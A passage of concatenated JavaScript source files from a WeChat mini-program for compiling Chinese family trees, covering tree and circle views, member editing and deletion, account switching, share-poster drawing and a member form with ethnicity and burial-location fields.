_this.shareMember(member)
},
})
}else if(id=="circle"){
var scale = 1;
if ((_this.data.height / _this.data.width) < Math.cos(60 * Math.PI / 180)) {
if (_this.data.height < 120 * 4) {
scale = _this.data.height / ((120 * (5) * 2 + 200) * Math.cos(60 * Math.PI / 180))
} else {
scale = (_this.data.height) / ((120 * (5) * 2 + 200) * Math.cos(60 * Math.PI / 180));
}
} else {
if (_this.data.width < 120 * 4) {
scale = _this.data.width / (120 * (5) * 2 + 200);
} else {
scale = (_this.data.width) / (120 * (5) * 2 + 200);
}
}
_this.data.circlejiapu.init({
userId: _this.data.circleUserId,
familyid:_this.data.familyId,
center_circle: { //中间环
url: config.baseOss +"/attachment/images/middl_circle.png",
x: (500 - 288) * 2.4,
y: (500 - 255) * 2.4,
w: 528 * 2.4,
h: 501 * 2.4,
},
base_line: {
url: config.baseOss +"/attachment/images/base_line.png",
x: (500 - 313) * 2.4 * 0.9,
y: (500 - 81) * 2.4 * 0.9,
w: 825 * 2.4 * 0.9,
h: 159 * 2.4 * 0.9,
},
name_width: 90,
name_height: 60,
name_fontsize: 16,
line_width: 2,
space_width: 120,
rotateX: 60,
levels: 5,
levelBtn:false,
searchBtn:false,
helpBtn:false,
backBtn: false,
showtype: _this.data.showtype,
sharestart: _this.data.userId,
shareid: _this.data.shareid,
sharecode: _this.data.sharecode,
left:_this.data.width/2,
top:_this.data.height/2,
scale:scale,
tap:function(member){
_this.data.circlejiapu.showDetailInfo(member)
//_this.data.circlejiapu.showEdit(member)
},
dbtap: function (member) {
_this.data.circlejiapu.init({ userId: member.id })
},
longtap:function(member){},
edittap: function (member) {
//_this.data.circlejiapu.hideEdit()
//_this.editMember(member)
},
viewtap: function (member) {
_this.data.circlejiapu.showDetailInfo(member)
_this.data.treejiapu.hideEdit()
//_this.viewMember(member)
},
addtap: function (member, type) {
//_this.data.circlejiapu.hideEdit()
//_this.addMemberByType(member,type)
},
deltap: function (member) {
//_this.data.circlejiapu.hideEdit()
//_this.delMember(member)
},
sharetap: function (member) {
//_this.data.circlejiapu.hideEdit()
//_this.shareMember(member)
},
})
}else if(id=="table"){
}
_this.data.initFlag[id] = true
/*_this.setData({
[dataset]: true
})*/
},
editMember: function (member) {
var _this = this;
wx.navigateTo({
url: '../editmember/editmember?type=edit&userid=' + member.id + '&showtype=' + _this.data.showtype + '&shareid=' + _this.data.shareid + '&sharecode=' + _this.data.sharecode + '&familyid=' + _this.data.familyId,
})
},
viewMember: function (member) {
var _this = this;
wx.navigateTo({
url: '../editmember/editmember?type=edit&userid=' + member.id + '&showtype=' + _this.data.showtype + '&shareid=' + _this.data.shareid + '&sharecode=' + _this.data.sharecode + '&familyid=' + _this.data.familyId,
})
},
addMemberByType: function (member,type) {
var _this = this;
if (type) {
wx.navigateTo({
url: '../editmember/editmember?type=add&fromid=' + member.id + '&userid=&relationship=' + type + '&showtype=' + _this.data.showtype + '&shareid=' + _this.data.shareid + '&sharecode=' + _this.data.sharecode + '&familyid=' + _this.data.familyId,
})
}
},
shareMember: function (member) {
var _this = this;
wx.navigateTo({
url: '../initiate_sharing/initiate_sharing?startMemberId=' + member.id + "&shareId=" + _this.data.shareid + "&familyId=" + _this.data.familyId,
})
},
delMember: function (member) {
var _this = this;
var operatorId = app.globalData.userInfo.userid; //操作人id
wx.showModal({
title: '提示',
confirmText: "删除",
confirmColor: "#F00",
content: '确定删除'+member.name+"?",
success(res) {
if (res.confirm) {
doPost('/wx/familyMember/removeFamilyMember', {
"inmap": {
"id": member.id,
"operatorId": operatorId,
"familyId": _this.data.familyId,
"type": _this.data.showtype,
"shareId": _this.data.shareid,
"shareCode": _this.data.sharecode,
}
}, function (res) {
if (res.code == 0) {
wx.showToast({
title: '删除成功',
icon: 'success',
duration: 2000
});
_this.setData({ showop: false });
_this.init(_this.data.frameID);
} else {
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
});
_this.setData({ showop: false });
}
})
} else if (res.cancel) {
}
}
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
var _this = this
if (is_empty(app.globalData.userInfo.openid)){
app.userInfoReadyCallback = res => {
if (_this.data.initFlag[_this.data.frameID]) {
if (_this.data.frameID == "tree") {
_this.data.treejiapu.init();
} else if (_this.data.frameID == "circle") {
_this.data.circlejiapu.init();
} else if (_this.data.frameID == "table") {
}
} else {
_this.init(_this.data.frameID);
}
}
}
if (_this.data.initFlag[_this.data.frameID]) {
if (_this.data.frameID == "tree") {
_this.data.treejiapu.init();
} else if (_this.data.frameID == "circle") {
_this.data.circlejiapu.init();
} else if (_this.data.frameID == "table") {
}
} else {
_this.init(_this.data.frameID);
}
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
}, commonMixin))<file_sep>module.exports = {
//baseUrl: "https://wx.mmxp5000.com",//正式环境地址
baseUrl: "https://testwx.mmxp5000.com",//体验测试环境地址
//baseUrl: "http://192.168.2.163:8081",//本地开发环境地址
baseOss: "https://mmxpmp.oss-cn-hangzhou.aliyuncs.com",//素材库oss地址
debug: false,
}<file_sep>// pages/changeaccount/changeaccount.js
import {
extendObj, is_empty, is_number, doPost
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
accountlist:[],
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
if (is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../login/login'
})
}
_this.setData({ userid: app.globalData.userInfo.userid})
_this.shuju();
},
shuju:function(){
let _this = this;
doPost("/user/getSwithAccountList", {
"inmap": {
"userId": app.globalData.userInfo.userid, //用户id
}
}, function (res) {
console.log(res);
_this.setData({
accountlist:res.data,
userid: app.globalData.userInfo.userid
})
});
},
//切换用户
changeSelectAccount:function(e){
var _this = this
var idx = e.currentTarget.dataset.id
let accountlist = _this.data.accountlist;
if (accountlist[idx].id == app.globalData.userInfo.userid){
}else{
app.globalData.userInfo.userid = accountlist[idx].id;
app.globalData.userInfo.nickName = accountlist[idx].fullName;
app.globalData.userInfo.account = accountlist[idx].account;
app.globalData.userInfo.mobile = accountlist[idx].mobile;
app.globalData.userInfo.familyid = accountlist[idx].familyId;
wx.showToast({
title: '切换成功',
icon:'none',
duration:2000,
})
_this.shuju();
setTimeout(function () {
// 这里就是处理的事件
wx.redirectTo({
url: '../home/home',
})
}, 2000);
}
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// pages/save_pictures/save_pictures.js
import {
extendObj, is_empty, is_number, doPost, sharePage, copy_code, showToast
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
alert:null,
baseOss: config.baseOss,
copy_code: '',
ctx:null,
scale:1,
userid:"",
familyid:"",
isAuth:false,
canvas:{
width:0,
height:0
},
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this;
_this.data.ctx = wx.createCanvasContext('canvas');
_this.data.alert = _this.selectComponent("#alert")
var query = wx.createSelectorQuery()
query.select('#img_content').boundingClientRect()
query.exec((res) => {
var c_w = res[0].width;
var c_h = res[0].height;
_this.data.scale = c_w / 690;
_this.setData({
userid:options.id,
familyid:options.familyId,
canvas:{
width:c_w,
height:c_h
},
isAuth: app.globalData.userInfo.wxInfoAuth
},function(){
if (app.globalData.userInfo.wxInfoAuth){
_this.drawPost();
}
})
})
},
drawPost: function () {
var _this = this
//获取分享信息,地址需要根据要求修改
_this.data.alert.loading("请求中...",'icon5');
doPost('/wx/familyMemberShare/release', {
"inmap": {
"id": _this.data.userid,
"familyId": _this.data.familyid,
"createUserId": app.globalData.userInfo.userid,
}
}, function (res) {
//获取用户信息
if (res.code == 0) {
_this.data.alert.loading("生成文本...", 'icon5');
_this.setData({ copy_code: res.data.shareCode })
var headImg = app.globalData.userInfo.wxAvatarUrl;//看是否使用返回的头像,当前取用户微信头像
var nickName = app.globalData.userInfo.wxNickName;//看是否使用返回的昵称,当前取用户微信昵称
var qrImg = res.data.shareImg;//二维码根据返回修改,测试先固定
var jiapuName = '';//家谱全称根据返回修改,测试先固定
var jiapuSubName = res.data.desc;//家谱简称根据返回修改,测试先固定,确定有这个值?或者只取一个姓
headImg = headImg ? headImg : config.baseOss + '/attachment/images/editmember_avatar_default.jpg'
qrImg = qrImg ? qrImg : config.baseOss + '/attachment/images/miniprogram_default_noqrocde.jpg'
nickName = nickName ? nickName : ""
jiapuName = jiapuName ? jiapuName : ""
jiapuSubName = jiapuSubName ? jiapuSubName : ""
_this.data.ctx.clearRect(0, 0, _this.data.canvas.width, _this.data.canvas.height);
_this.data.ctx.save();
_this.data.ctx.setFillStyle('#ffffff')
_this.data.ctx.fillRect(0, 0, _this.data.canvas.width, _this.data.canvas.height);
_this.data.ctx.restore();
//绘制文本
_this.data.ctx.setFillStyle('#696969')
_this.data.ctx.setFontSize(28 * _this.data.scale)
_this.data.ctx.textAlign = "center"
_this.data.ctx.textBaseline = "middle"
_this.data.ctx.fillText(nickName, 345 * _this.data.scale, 175 * _this.data.scale)
_this.data.ctx.setFillStyle('#333333');
_this.data.ctx.setFontSize(32 * _this.data.scale);
_this.data.ctx.fillText('邀请您修谱', 345 * _this.data.scale, 218 * _this.data.scale);
_this.data.ctx.setFontSize(28 * _this.data.scale)
_this.data.ctx.textAlign = "left"
var all_text = jiapuSubName
// var all_text = nickName + '正在名门修谱建立《' + jiapuSubName+'》,识别小程序码填写您的信息,加入'+jiapuSubName+'...'
var all_len = all_text.length
for (var i = 0; (i * 20) < all_len; i++) {
var t_len = 20
t_len = ((i * 20) + t_len) > all_len ? all_len - (i * 20) : 20;
var t_text = all_text.substring(i * 20, i * 20 + t_len)
_this.data.ctx.fillText(t_text, 65 * _this.data.scale, 295 * _this.data.scale + (i * 40 * _this.data.scale));
}
_this.data.alert.loading("加载素材...", 'icon5');
var pm1 = new Promise(function (resolve, reject) {
wx.getImageInfo({
src: qrImg,
success(res) {
resolve({ type: 'qrcode', data: res })
}, fail(err) {
wx.showToast({
title: '二维码加载错误',
icon: "none"
})
reject(err)
}
})
})
var pm2 = new Promise(function (resolve, reject) {
wx.getImageInfo({
src: headImg,
success(res) {
resolve({ type: 'avatar', data: res })
}, fail(err) {
wx.showToast({
title: '头像图片加载错误',
icon: "none"
})
reject(err)
}
})
})
Promise.all([pm1, pm2]).then(res => {
var dlen = res.length
for (var i = 0; i < dlen; i++) {
var pres = res[i];
if (pres.type == "qrcode") {
var s_x = 0;
var s_y = (pres.data.height - pres.data.width) / 2;
var s_w = pres.data.width;
if (pres.data.width > pres.data.height) {
s_w = pres.data.height;
s_y = 0;
s_x = (pres.data.width - pres.data.height) / 2;
}
_this.data.ctx.drawImage(
pres.data.path,
s_x, s_y,
s_w, s_w, //被剪切图像的高度。
165 * _this.data.scale, 422 * _this.data.scale,
360 * _this.data.scale, 360 * _this.data.scale
);
} else if (pres.type == "avatar") {
var s_x = 0;
var s_y = (pres.data.height - pres.data.width) / 2;
var s_w = pres.data.width;
if (pres.data.width > pres.data.height) {
s_w = pres.data.height;
s_y = 0;
s_x = (pres.data.width - pres.data.height) / 2;
}
_this.data.ctx.beginPath()
_this.data.ctx.arc(345 * _this.data.scale, 90 * _this.data.scale, 51 * _this.data.scale, 0, 2 * Math.PI, false)
_this.data.ctx.clip()
_this.data.ctx.drawImage(
pres.data.path,
s_x, s_y,
s_w, s_w, //被剪切图像的高度。
294 * _this.data.scale, 39 * _this.data.scale,
102 * _this.data.scale, 102 * _this.data.scale
);
_this.data.ctx.restore();
}
}
_this.data.ctx.draw(true, setTimeout(() => {
_this.fixImage();
}, 0))
_this.data.ctx.restore();
}).catch(err => {
console.log(err);
_this.data.ctx.draw(true, setTimeout(() => {
_this.fixImage();
}, 0))
_this.data.ctx.restore();
});
} else {
_this.data.alert.hide()
showToast(res.msg)
}
});
},
fixImage:function(){
var _this = this
setTimeout(()=>{
wx.canvasToTempFilePath({
canvasId: "canvas",
fileType: "png",
success: (res) => {
let tempFilePath = res.tempFilePath;
_this.setData({
shareImg: tempFilePath,
});
console.log("画背景", tempFilePath)
_this.data.alert.hide()
}
});
},500)
},
// 文本自动换行
drawText: function (ctx, str, leftWidth, initHeight, titleHeight, canvasWidth) {
var lineWidth = 0;
var lastSubStrIndex = 0; //每次开始截取的字符串的索引
for (let i = 0; i < str.length; i++) {
lineWidth += ctx.measureText(str[i]).width;
if (lineWidth > canvasWidth) {
ctx.fillText(str.substring(lastSubStrIndex, i), leftWidth, initHeight); //绘制截取部分
initHeight += 16; //16为字体的高度
lineWidth = 0;
lastSubStrIndex = i;
titleHeight += 30;
}
if (i == str.length - 1) { //绘制剩余部分
ctx.fillText(str.substring(lastSubStrIndex, i + 1), leftWidth, initHeight);
}
}
// 标题border-bottom 线距顶部距离
titleHeight = titleHeight + 10;
return titleHeight
},
//保存canvas图
canvasSave() {
let _this = this;
if(!is_empty(_this.data.shareImg)){
wx.saveImageToPhotosAlbum({//保存图片到系统相册
filePath: _this.data.shareImg,
success: () => {
wx.showToast({
title: '图片保存成功'
})
}
})
}else{
wx.showToast({
title: '请等待海报生成',
icon:"none"
})
}
},
getUserInfo:function(e){
var _this = this;
console.log(e)
if (!is_empty(e.detail.userInfo)) {
var userInfo = e.detail.userInfo;
app.globalData.userInfo = extendObj([{}, app.globalData.userInfo, {
wxNickName: userInfo.nickName ? userInfo.nickName : app.globalData.userInfo.wxNickName,
wxAvatarUrl: userInfo.avatarUrl ? userInfo.avatarUrl : app.globalData.userInfo.wxAvatarUrl,
wxInfoAuth: true
}])
_this.setData({
isAuth:true
},function(){
_this.drawPost();
})
}
},
//复制提取码
copy_code: function () {
let _this = this;
copy_code(_this.data.copy_code);
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// pages/home/home.js
import {
extendObj,is_empty
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page(Object.assign({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
search_form:{
keywords:""
},
hot_list:[
{ url: "../search/search?keywords=陈氏家族", keywords: "陈氏家族" },
{ url: "../search/search?keywords=修谱", keywords: "修谱" },
{ url: "../search/search?keywords=叶氏家族", keywords: "叶氏家族" },
{ url: "../search/search?keywords=修家谱", keywords: "修家谱" },
],
addList: [
{
imageUrl: config.baseOss + "/attachment/images/home_add_1.jpg",
hrefUrl:""
},
{
imageUrl: config.baseOss + "/attachment/images/home_add_1.jpg",
hrefUrl: ""
},
{
imageUrl: config.baseOss + "/attachment/images/home_add_1.jpg",
hrefUrl: ""
},
],
current: 0
},
currentHandle: function (e) {
let {
current
} = e.detail
this.setData({
current
})
},
handleAddTap: function (e) {
var _this = this;
var idx = parseInt(e.target.dataset.idx)
var add = _this.data.addList[idx];
if (add && add.hrefUrl) {
wx.redirectTo({
url: add.hrefUrl,
})
}
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this;
_this.selectComponent("#nav-bar").active("home")
//if (is_empty(app.globalData.userInfo.userid)) {
// wx.redirectTo({
// url: '../login/login'
// })
//}
/*
var alert = _this.selectComponent("#alert")
alert.payment({
paytype: 'jsapi',
ordersn: '123',
total_fee: 10,
callback: function(){
alert.closePayment()//如果是二维码的话需要关闭
}
})
*/
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
}, commonMixin))<file_sep>// pages/eidtmember/editmember.js
import {
extendObj, is_empty, is_number, doPost, doUpload, showToast
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page(Object.assign({
/**
* 页面的初始数据
*/
data: {
baseOss:config.baseOss,
postFlag:false,
alert:null,
type:'',
userid: '',
familyid:0,
showtype: "edit",
shareid: "",
sharecode: "",
fromid: '',
relationship: '',//添加时候有用,与目标人关系
showmore:false,
showtextarea:false,
defaultregion: ['湖南省', '长沙市', '天心区'],
relationshipList:[{
name:"无",
code:"",
}, {
name: "出继",
code:"出继",
}, {
name: "入继",
code:"入继",
}, {
name: "出嗣",
code:"出嗣",
}, {
name: "入嗣",
code:"入嗣",
}, {
name: "兼祧",
code:"兼祧",
}, {
name: "承祧",
code:"承祧",
}, {
name: "招赘",
code:"招赘",
}, {
name: "入赘",
code:"入赘",
}, {
name: "孀赘",
code:"孀赘",
}],
isUpdate:false,
isSave: false,
list: [], //母亲列表
member:{
id:'',
familyId:0,
header:'',
firstname:'',
lastname:'',
gender:'M',
birthTime: '',
deathTime: '', //死亡日期 暂用
age: '', //享年 暂用
childOrder:0,
isLiving:true,
gName:'',
mobile:'',
list:[],
originAreaDetails:'',
other:"",
idCard:"",
cardName: '',
zi: '',
templeTitle:'', //谥号
liveArea: '',
liveDetails: '',
birthArea: '',
birthAreaDetails: '',
nation:'',
mailbox:'',
description:''
},
is_examination:false, //是否可考默认可考
sex: [{ name: 'M', value: '男', checked: true },
{ name: 'W', value: '女' },],
nation_list: ['汉族', '蒙古族', '回族', '藏族', '维吾尔族', '苗族', '彝族', '壮族', '布依族', '朝鲜族', '满族', '侗族', '瑶族', '白族', '土家族', '哈尼族', '哈萨克族', '傣族', '黎族', '僳僳族', '佤族', '畲族', '高山族', '拉祜族', '水族', '东乡族', '纳西族', '景颇族', '柯尔克孜族', '土族', '达斡尔族', '仫佬族', '羌族', '布朗族', '撒拉族', '毛南族', '仡佬族', '锡伯族', '阿昌族', '普米族', '塔吉克族', '怒族', '乌孜别克族', '俄罗斯族', '鄂温克族', '德昂族', '保安族', '裕固族', '京族', '塔塔尔族', '独龙族', '鄂伦春族', '赫哲族', '门巴族', '珞巴族', '基诺族'], //56个民族
index:0, //民族数组的初始坐标默认为0
mother_index:0,//母亲列表的下标
motherId:'',
is_Submission: true, //提交按钮置灰,默认不置灰
buryAddr: '', //安葬地址
coordinate:'', //安葬坐标
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
if (is_empty(app.globalData.userInfo.userid) && (!is_empty(options.showType) && options.showType != 'share')) {
wx.redirectTo({
url: '../login/login'
})
}
var userid = options.userid ? options.userid:''
var fromid = options.fromid ? options.fromid : ''
_this.data.familyid = app.globalData.userInfo.familyid
if (!is_empty(options.familyid) && is_number(options.familyid)){
_this.data.familyid = parseInt(options.familyid)
}
_this.data.showtype = options.showtype ? options.showtype : 'edit'
_this.data.shareid = options.shareid ? options.shareid : ''
_this.data.sharecode = options.sharecode ? options.sharecode : ''
var type = options.type ? options.type : ''
_this.setData({type:type})
console.log(type)
var relationship = options.relationship ? options.relationship : ''
if (is_empty(userid) && type != 'add'){
wx.showToast({
title: '参数错误',
icon: 'success',
duration: 2000
})
wx.redirectTo({
// url: '../editjiapu/editjiapu'
})
}
if (is_empty(userid) && type != 'add') {
}
//获取待编辑用户资料,需要接口支持,暂时为空
if(!is_empty(userid)){
doPost("/wx/familyMember/getFamilyMember",{"inmap":{
"familyMemberId":userid,
"familyId": _this.data.familyid,
"operatorId": _this.data.showtype == "share" ? '' :app.globalData.userInfo.userid,
"type": _this.data.showtype,
"shareId": _this.data.shareid,
"openId": app.globalData.userInfo.openid,
"shareCode": _this.data.sharecode,
}},function(res){
if(res.code==0){
if (res.data.list!='') {
let lists = res.data.list || []
let mother_list = ['请选择'];
for (let name = 0; name < lists.length; name++) {
mother_list.push(res.data.list[name].name);
if (lists[name].id == res.data.member.motherId){
_this.setData({ mother_index: name+1 })
}
}
_this.setData({ mother_list: mother_list, motherId: res.data.member.motherId})
}
var member = res.data.member;
if(!member.isForeigner){
_this.setData({
relationshipList:[{
name:"无",
code:"",
}, {
name: "出继",
code:"出继",
}, {
name: "入继",
code:"入继",
}, {
name: "出嗣",
code:"出嗣",
}, {
name: "入嗣",
code:"入嗣",
}, {
name: "兼祧",
code:"兼祧",
}, {
name: "承祧",
code:"承祧",
}, {
name: "招赘",
code:"招赘",
}, {
name: "入赘",
code:"入赘",
}]
})
}else{
_this.setData({
relationshipList:[{
name:"无",
code:"",
}, {
name: "孀赘",
code:"孀赘",
}]
})
}
_this.data.familyid = member.familyId
_this.setData({
isUpdate: member.isUpdate ? true : false,
isSave: member.isSave ? true : false,
list: is_empty(res.data.list) ? false : res.data.list,
birthTime: member.birthTime,
deathTime: member.deathTime,
buryAddr: is_empty(member.buryAddr)? '' : member.buryAddr,
age:member.age,
member:extendObj([{},_this.data.member,{
id:member.id,
familyId:member.familyId,
header:member.header,
firstname:member.firstname,
lastname:member.lastname,
gender:member.gender=="M"?'M':'W',
templeTitle: member.templeTitle ? member.templeTitle:'',
childOrder:member.childOrder,
isLiving:member.isLiving,
gName:member.gName,
mobile: member.mobile,
list: member.list,
originAreaDetails: member.originAreaDetails,
other:member.other?member.other:'',
idCard:member.idCard,
cardName: member.cardName,
zi: member.zi,
liveArea: is_empty(member.liveArea)?'':member.liveArea.split(","),
liveDetails: member.liveDetails,
birthArea: is_empty(member.birthArea)?'':member.birthArea.split(","),
birthAreaDetails: member.birthAreaDetails,
nation: member.nation || _this.data.nation_list[_this.data.index],
mailbox:member.mailbox,
description:member.description
}])
});
if (member.gender=='W'){ //编辑的时候,用户是女则改变性别数据
_this.setData({
sex: [{ name: 'M', value: '男', },
{ name: 'W', value: '女' ,checked: true }],
})
}
let nation_list = _this.data.nation_list;
for (let i = 0; i < nation_list.length; i++) { //获取民族下标
if (nation_list[i] == member.nation) {
_this.setData({ index: i })
}
}
}else{
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
} else {
_this.setData({
isSave: true,
});
_this.data.member.familyId = _this.data.familyid
}
_this.data.type = type;
_this.data.userid = userid
_this.data.fromid = fromid
_this.data.relationship = relationship
if(relationship == "C"){
_this.setData({
relationshipList:[{
name:"无",
code:"",
}, {
name: "出继",
code:"出继",
}, {
name: "入继",
code:"入继",
}, {
name: "出嗣",
code:"出嗣",
}, {
name: "入嗣",
code:"入嗣",
}, {
name: "兼祧",
code:"兼祧",
}, {
name: "承祧",
code:"承祧",
}, {
name: "招赘",
code:"招赘",
}, {
name: "入赘",
code:"入赘",
}],
top_title:'添加子女',
})
}else if(relationship == "P"){
_this.setData({
relationshipList:[{
name:"无",
code:"",
}, {
name: "孀赘",
code:"孀赘",
}],
top_title: '添加配偶',
})
}
_this.data.alert = _this.selectComponent("#alert");
if (options.type=='add'){
_this.shuju();
}
},
// 数据
shuju:function(){
let _this = this;
doPost("/wx/familyMember/getSaveFamilyMemberBefore", {
"inmap": {
"familyId": _this.data.familyid,
"sourseId": _this.data.fromid,
"relationType": _this.data.relationship,
"type": _this.data.type,
"shareId": _this.data.shareid,
"shareCode": _this.data.sharecode,
}
}, function (res) {
console.log(res); //居住地省市区
if(res.code == 0){
let mother_list = ['请选择'];
let lists = res.data.list || []
for (let name = 0; name < lists.length; name++) {
mother_list.push(lists[name].name);
}
if (lists.length>1){ //如果有两个以上的母亲则默认选择第一个母亲
_this.setData({ mother_index: 1, motherId: lists[0].id})
}
if (res.data.gender == 'W') { //性别是女
console.log(res.data)
_this.setData({
sex: [{ name: 'M', value: '男' }, { name: 'W', value: '女', checked: true }]
})
}
_this.setData({
mother_list: mother_list,
list: is_empty(res.data.list) ? false : res.data.list,
member: {
id: res.data.id,
familyId: _this.data.member.familyId,
header: res.data.header,
firstname: res.data.firstname,
lastname: res.data.lastname,
gender: res.data.gender == "M" ? 'M' : 'W',
isLiving: res.data.isLiving != null ? res.data.isLiving:true,
gName: res.data.gName,
mobile: res.data.mobile,
templeTitle: res.data.templeTitle ? res.data.templeTitle : '',
list:res.data.list,
originAreaDetails: res.data.originAreaDetails,
other: res.data.other ? res.data.other : '',
idCard: res.data.idCard,
cardName: res.data.cardName,
childOrder: res.data.childOrder,
zi: res.data.zi,
liveArea: is_empty(res.data.liveArea) ? '' : res.data.liveArea.split(","),
liveDetails: res.data.liveDetails,
birthArea: is_empty(res.data.birthArea) ? '' : res.data.birthArea.split(","),
birthAreaDetails: res.data.birthAreaDetails,
nation: res.data.nation,
mailbox: res.data.mailbox,
description: res.data.description
},
});
let nation_list = _this.data.nation_list;
for (let i = 0; i < nation_list.length; i++) { //获取民族下标
if (nation_list[i] == res.data.nation) {
_this.setData({ index: i })
}
}
}
})
_this.data.alert = _this.selectComponent("#alert")
},
showArea:function(e){
var _this = this
if(_this.data.isSave || (!is_empty(_this.data.userid) && _this.data.isUpdate)){
var t_show = e.currentTarget.dataset.show=="yes"?true:false;
if (t_show){
this.setData({ showtextarea: !t_show })
}else{
_this.setData({
showtextarea: !t_show
})
}
}
},
changeShowMore: function () {
var _this = this;
_this.setData({
showmore: _this.data.showmore?false:true
})
},
selectRelationship: function (e) {
var _this = this;
if (_this.data.isSave || (!is_empty(_this.data.userid) && _this.data.isUpdate)){
var idx = parseInt(e.currentTarget.dataset.id);
var relationshipList = _this.data.relationshipList;
if (relationshipList[idx]) {
_this.setData({
['member.other']: relationshipList[idx].code
})
}
}
},
//选择性别
radioChange: function (e) {
let _this = this;
let value = e.detail.value;
_this.data.member.gender=value;
},
//选择名族
nation_list: function (e) {
let _this = this;
let index = e.detail.value;
_this.setData({ index: index });
},
//是否可考
switch1Change:function(e){
let _this = this;
_this.setData({ is_examination: e.detail.value,});
if (e.detail.value == true){
_this.data.member.isLiving = false;
}
},
//选择母亲
xuan_mother:function(e){
let _this = this;
let mother_index = parseInt(e.detail.value);
if (mother_index==0){
_this.setData({ mother_index: mother_index, motherId:'' });
}else{
_this.setData({ mother_index: mother_index, motherId: _this.data.list[mother_index-1].id });
}
},
// 打开地图选取位置
openLocation:function(){
let _this = this;
let buryAddr = _this.data.buryAddr||'';
wx.getSetting({
success: function (res) {
if (res.authSetting['scope.userLocation'] != undefined && res.authSetting['scope.userLocation'] != true) {
wx.showModal({
title: '请求授权当前位置',
content: '需要获取您的地理位置,确认授权?',
success: function (res) {
if (res.confirm) {
wx.openSetting({
success: function (res) {
console.log(res)
if (res.authSetting["scope.userLocation"] == true) {
wx.chooseLocation({
success: function (res) {
console.log(res);
if (buryAddr == '') {
_this.setData({
buryAddr: res.address + res.name,
coordinate: '经度:' + res.longitude + '纬度:' + res.latitude
});
}
},
})
}
}
})
}
}
})
}else{
wx.chooseLocation({
success: function (res) {
console.log(res);
if (buryAddr == '') {
_this.setData({
buryAddr: res.address + res.name,
coordinate: '经度:' + res.longitude + '纬度:' + res.latitude
});
}
},
})
}
},
fail: function (res) { }
})
},
input_buryAddr:function(e){
let _this = this;
let buryAddr = e.detail.value;
_this.setData({ buryAddr: buryAddr});
},
editSubmit:function(){
var _this=this;
if (_this.data.member.firstname == null){
_this.data.alert.tips("请输入您的姓氏", 2000);
_this.goTop();
return
};
if (_this.data.member.lastname == null) {
_this.data.alert.tips("请输入您的名字", 2000);
_this.goTop();
return
};
if (_this.data.member.mobile == null && _this.data.member.isLiving) {
_this.data.alert.tips("请输入您的手机", 2000);
_this.goTop();
return
};
if (_this.data.isSave || (!is_empty(_this.data.userid) && _this.data.isUpdate)){
_this.setData({ is_Submission: false }); //提交按钮置灰
wx.showLoading({
title: '正在提交',
})
var member = _this.data.member
var data = {
"inmap": {
operatorId: _this.data.showtype == "share" ? '' :app.globalData.userInfo.userid,
type: _this.data.showtype,
shareId: _this.data.shareid,
openId: app.globalData.userInfo.openid,
shareCode: _this.data.sharecode,
id:member.id,
familyId:member.familyId,
header:member.header,
firstname:member.firstname,
lastname:member.lastname,
gender: member.gender,
birthTime:_this.data.birthTime,
deathTime: _this.data.deathTime,
age: _this.data.age,
templeTitle: member.templeTitle ? member.templeTitle : '',
childOrder:member.childOrder,
isLiving: member.isLiving,
gName:member.gName,
mobile: member.mobile,
motherId: _this.data.motherId,
originAreaDetails: member.originAreaDetails,
other:member.other,
idCard:member.idCard,
cardName: member.cardName,
zi: member.zi,
liveArea: is_empty(member.liveArea) ? '' : member.liveArea.join(","),
liveDetails: member.liveDetails,
birthArea: is_empty(member.birthArea) ? '' : member.birthArea.join(","),
birthAreaDetails: member.birthAreaDetails,
